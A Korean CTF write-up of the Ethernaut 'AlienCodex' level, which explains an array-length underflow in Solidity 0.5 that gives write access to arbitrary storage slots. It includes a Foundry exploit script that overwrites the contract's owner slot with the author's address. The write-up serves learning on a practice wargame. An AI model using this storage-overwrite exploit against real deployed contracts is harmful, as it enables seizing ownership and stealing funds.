// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
뻘짓을 참 많이 한 문제이다.
딱봐도 0.5.0버전을 사용한거 보면 overflow/underflow 문제이다.
보면은 동적 배열이 하나 할당되어있고 retract로 length를 맘대로 줄일 수 있다.
이때문에 overflow 취약점이 발생한다.
만약 codex의 길이가 0인데 length를 줄이면은?
length는 -1이 될 수 없기에 length가 최대값 2^256 - 1 로 지정된다.
이때, solidity에서 slot의 최대 크기는 2^256이므로 codex 배열을 통해 특정 슬롯을 마음대로 방문하고 수정할 수 있다.
여기서 이 문제를 해결하기 위해선 Slot을 잘 파악해야 한다.
일반적인 타입이라면 slot이 0, 1 이렇게 저장된다.
그러나 동적배열은 다르다.
해당 상태값들을 확인하면 contact가 slot 0, codex의 첫번째 index가 slot 1에 저장될 것 같지만
동적배열의 0번째 index는 keccak256(1)부터 시작한다.
그리고 여기선 1번째 slot엔 동적배열 codex의 length가 저장된다.
codex의 length가 0일때 retract()를 호출하고 1번째 slot을 보면 overflow가 적용된걸 볼 수 있다.
그리고 오버플로우를 통한 slot 값 수정은 다음 지피티가 해준 말을 보면 알 수 있다.
즉, 슬롯 번호가 2^256 을 벗어나면은 0부터 다시 시작된다는 것이다.
동적 배열의 index는 keccak256(1)부터 시작하기에 0번째 index는 keccak256(1), 1번째는 keccak256(1)+1, 2번째는 keccak256(1)+2.... 이런식으로 될 것이다.
따라서 2^256 - keccak256(1) 번째 index는 0번째 slot이 될 것이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/alien.sol";
contract AlienSolve is Script {
AlienCodex public target;
function setUp() external{
address payable targetAddress = payable(0x78adfAAc7bDEd06f92C276F640959eb93287F0Ba);
target = AlienCodex(targetAddress);
}
function run() external {
vm.startBroadcast(vm.envUint("user_private_key"));
uint256 slot1Hash = uint256(keccak256(abi.encodePacked(uint256(1))));
console.log(slot1Hash);
uint256 maxUint256 = type(uint256).max + 1;
uint256 calculatedIndex = maxUint256 - slot1Hash;
console.log(calculatedIndex);
target.revise(calculatedIndex, 0x0000000000000000000000000454D4DAd937d831c98cCD8ef9c4035B34c7F22C);
vm.stopBroadcast();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
contract AlienCodex {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.pop();
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
foundry에서 0.5.0이 호환이 안돼서 0.6.2로 바꿔주고 retract도 codex.pop으로 바꿔 주었다.
내 경우엔 makeContact()와 retract()를 ethernaut 개발자 도구에서 실행시켜주고 위 poc코드를 돌렸다.
그리고 owner위치는 0번째 slot을 보면은 contact값과 owner가 같이 저장되어있는걸 확인 가능하다.
0번째 slot에 owner값이 젤 앞에 저장되어있다.
따라서 위 poc코드로 0번째 slot을 내 지갑주소로 덮었다.
그리고 keccak256을 사용하는 과정에서 abi.encodePacked를 사용해주는데 abi.encodePacked는 0x00000000000000002 이런값을 0x02 이렇게 바이트배열로 압축 한다. keccak256이 인자로 바이트배열을 받기에 필수적인 과정이다.
아니면 걍 abi.encode만 써줘도 된다.
// 다른 방법
uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
그 후 type(uint256).max값이 2^256-1 이기에 여기 + 1을 한 값에 keccak256(1)한 값을 빼주면 0번째 slot의 index를 얻을 수 있다.
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Magic Number (0) | 2025.02.02 |
---|---|
[The Ethernaut] Recovery (0) | 2025.02.02 |
[The Ethernaut] Preservation (0) | 2025.02.02 |
[The Ethernaut] Naught Coin (0) | 2025.02.02 |
[The Ethernaut] Gatekeepr Two (0) | 2025.01.31 |